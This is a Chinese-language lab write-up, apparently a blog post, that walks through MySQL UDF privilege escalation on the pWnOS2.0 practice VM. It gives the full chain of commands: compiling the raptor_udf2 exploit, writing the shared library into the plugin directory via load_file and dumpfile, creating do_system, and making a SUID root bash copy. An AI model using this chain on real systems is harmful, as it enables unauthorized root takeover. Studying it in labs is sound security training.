目录
开头:
1.UDF提权简介:
1.1共享库文件(UDF文件)指定目录:
版本特征:
操作系统版本:
2.靶场UDF提权复现
提权前提
1.要有一个高权限的MySQL的账号
编辑 2.MySQL的权限配置secure_file_priv为空
3.必须有存放UDF文件的目录
提权过程
1.重命名UDF文件:
2.目标主机上编译UDF文件:
3.进入mysql利用:
3.总结:
开头:
学习的视频是哔哩哔哩红队笔记:
红队打靶:pWnOS2.0打靶思路详解(vulnhub)-CSDN博客
打靶时参考文章和本文借鉴文章:
渗透测试:MySQL数据库UDF提权详解-CSDN博客
靶机下载链接见:
http://pwnos.com/files/pWnOS_v2.0.7z
本篇文章,主要讲解UDF提权,也是上篇靶场的第二种提权方法红队笔记10:pWnOS2.0打靶流程-whatweb指纹识别-searchsploit搜索漏洞利用getshell(vulnhub)-CSDN博客
1.UDF提权简介:
UDF:User Defined Function 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。
提权原理:攻击者通过编写,能调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,在数据库中通过导入的共享库文件创建自定义函数,该自定义函数功能依照于共享库文件的功能,从而在数据库中调用该自定义函数能够使用系统命令(就像使用version()函数可以查看数据库版本,自定义函数就可以执行系统命令)
执行过程:本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下
(1)攻击者编写,可以调用用cmd或者shel的共享库文件(window为.dll,linux为.so),将共享库导入指定的函数目录中。
(2)在MySQL中创建自定义函数其功能有共享库文件提权。(类似于python中的写了一个函数,其函数主要功能是python内置库中所提供的)
(3)通过创建的函数执行系统命令,实现提权。
1.1共享库文件(UDF文件)指定目录:
版本特征:
mysql版本不同UDF文件指定存放目录也不同;
操作系统版本:
操作系统版本不同UDF文件指定存放目录也不同;
2.靶场UDF提权复现
本文靶场复现UDF提权的环境 linux mysql >5.1
提权前提
1.要有一个高权限的MySQL的账号
具有增删改查的权限以创建自定义函数,最好是root账号。
查看当前登录用户(以下两行均可):
select user();
select current_user;
我们这里登录的用户是root,最高权限;如果不是root,可以用以下命令查看特定用户的权限,可以将root修改为任意用户,\G每个字段打印到单独的行,也有’;’的作用:
SELECT * FROM mysql.user WHERE user='root'\G
Y :代表用户该权限 ,还可以用如下的命令查看数据库的所有用户:
SELECT user,host FROM mysql.user;
2.MySQL的权限配置secure_file_priv为空
secure_file_priv为空表示 load_data,into outfile,load_flie() 文件操作类函数都没有目录的限制,可以使用如下命令查看secure_file_priv参数的值:
show variables like '%secure_file_priv%';
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。
1.secure_file_priv的值为null表示限制mysql不允许导入/导出,
2.secure_file_priv的值为/tmp/ 表示限制mysql的导入/导出只能发生在/tmp/目录下。
3.secure_file_priv的值没有具体值时表示不对mysql 的导入/导出做限制。
3.必须有存放UDF文件的目录
这个目录与MySQL的版本和操作系统有关,对于linux MySQL>=5.1的版本,创建函数的目录是plugin,可以用如下的命令查看:
show variables like '%plugin%';
只有存在这个目录才有可能进行UDF提权,不存在就要去创建。
提权过程
可以知道UDF提权需要有个可以执行系统命令的UDF文件,所有我们使用searchsploit 搜索mysql UDF 获得UDF文件.
searchsploit mysql udf
此处我们可以根据MySQL的版本进行选择,这里选择比较通用的第二条1518.c,把1518.c下载下来:
searchsploit mysql udf -m 1518
cat 1518.c
1518.c中的内容有很多,我们重点看用法Usage中的内容,读者如果单纯想进行提权,只要一步一步copy下图中的命令即可,注意修改路径即可。
1.重命名UDF文件:
用法中首先使用gcc编译,编译的文件名为raptor_udf2.c,因此我们可以先将这个1518.c改名为raptor_udf2.c,方便后续操作,命令如下:
mv 1518.c raptor_udf2.c
2.目标主机上编译UDF文件:
进行gcc编译,这里最好在靶机中编译(而不是kali),因为不同环境的编译结果可能不一样,既然要对靶机提权,那就在靶机中进行编译。
怎么将UDF文件上传到目标靶嘞?
1.都在内网-获得初步shell:本地开启有个web服务,目标靶机wget下载
2.目标靶机外网-自己在内网:将UDF文件上传到自己服务器开启web服务,目标wget下载
3.根据目标靶机web的功能,如本篇靶机web存在图片上传功能且不存在过滤,就可以将udf上传到目标主机
gcc -g -c raptor_udf2.c -fPIC
该命令是使用gcc编译器来编译名为"raptor_udf2.c"的源代码文件,并生成一个目标文件(object file)。
-g:这个参数告诉编译器在目标文件中包含调试信息。这将使得在调试程序时可以获得更多的信息,例如变量的值和源代码的行号。
-c:这个参数告诉编译器只进行编译而不进行链接。它将源代码文件编译成一个目标文件,而不是生成可执行文件。这在构建大型程序时通常是一个常用的步骤。通常会生成.o文件。
-fPIC:虽然Usage中没有提到这个参数,但还是建议加上。这个参数指定编译为位置独立代码(Position Independent Code)。位置独立代码是一种可执行代码的格式,它可以在内存中的任何位置加载和执行,而不依赖于特定的内存布局。这在生成共享库(shared library)时非常有用,因为共享库可以加载到进程的任何地址空间中。
接着按照1518.c中注释的Usage一步一步执行命令即可,下一条命令是:
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
该命令是使用gcc编译器将名为"raptor_udf2.o"的目标文件链接为一个共享库(shared library)文件,并命名为"raptor_udf2.so"。下面是每个选项的解释:
-g:这个选项告诉编译器在生成的共享库文件中包含调试信息。
-shared:这个选项指定编译器生成一个共享库文件,而不是可执行文件。共享库是一种可被多个程序共享和重用的代码库。
-Wl,-soname,raptor_udf2.so:这个选项将"-soname"参数传递给链接器(ld)。"-soname"用于指定生成的共享库文件的名字,这里是"raptor_udf2.so"。
-o raptor_udf2.so:这个选项指定生成的共享库文件的输出文件名,这里是"raptor_udf2.so"。
raptor_udf2.o:这是要链接的目标文件的名称。
-lc:这个选项告诉链接器使用C标准库(libc)。
这样.so 的UDF文件通过编译获得。
3.进入mysql利用:
总结利用过程:
1.创建foo表:
2.将UDF文件内容写入foo表
3.将foo表中的UDF文件内容,导出到指定目录中并以UDF文件名命名(2,3实现了将UDF表导入指定目录)
4.通过指定目录下的UDF文件提供的功能创建自定义函数
然后我们登录靶机上的MySQL,需要有一个高权限的用户,对于靶机pWnOS2.0,我已经搞到了数据库root账号的密码,登录即可:
mysql -u root -p
输入密码
use mysql;
create table foo(line blob);
use mysql;
语句用于切换当前数据库为"mysql"。
CREATE TABLE foo(line blob);
。表示在当前数据库中创建一个名为"foo"的表。该表只有一个列名为"line",并且该列的数据类型是BLOB(二进制大对象)。BLOB类型用于存储二进制数据,如图像、音频、视频等。
insert into foo values(load_file('/var/www/blog/images/raptor_udf2.so'));
该SQL语句将加载'/var/www/blog/images/raptor_udf2.so'文件的内容,并将其作为二进制数据插入到"foo"表的"line"列中。(将我们创建的UDF文件,以二进制数据写入foo表中)
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
该SQL语句用于导出"foo"表中所有行的数据,并将其以文本形式写入到'/usr/lib/mysql/plugin/raptor_udf2.so'文件中。特别注意,这里的写入路径是plugin目录的路径,在“提权前提”小节中已经提到,如果你不知道plugin目录的路径,可以用show variables like '%plugin%';进行查看。
create function do_system returns integer soname 'raptor_udf2.so';
这个SQL语句用于在MySQL中创建一个名为"do_system"的函数,该函数返回一个整数值。该函数的实现由外部库"raptor_udf2.so"提供。
select * from mysql.func;
查看我们是否成功创建了函数。
此时我们应该可以使用do_system函数执行任意系统命令了。那么我们可以do_system函数进行提权。命令如下:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
do_system中的这条Linux命令是将/bin/bash(Bash shell可执行文件)复制到/tmp目录下,并将复制后的文件命名为rootbash。接着,使用chmod命令给/tmp/rootbash设置权限,使用+xs参数将其设为可执行文件,并将其所有者的权限设置为具有特殊权限。接下来我们只要在www-data的shell中执行rootbash即可,先退出MySQL,然后运行rootbash:
/tmp/rootbash -p
提权成功!
3.总结:
本文虽然是在linux环境下,使用UDF提权成功了,但是在真实环境中linux很难存在UDF提权,因为UDF提权需要一个plugin文件,并且我们要有能够写入的权限,在Linux严格的系统权限下,mysql用户或web用户无plugin目录的写入权限。
使用UDF提权主要是在windows系统上进行提权,但是不同操作系统UDF文件导入目录不同,所有要根据具体环境来进行微调操作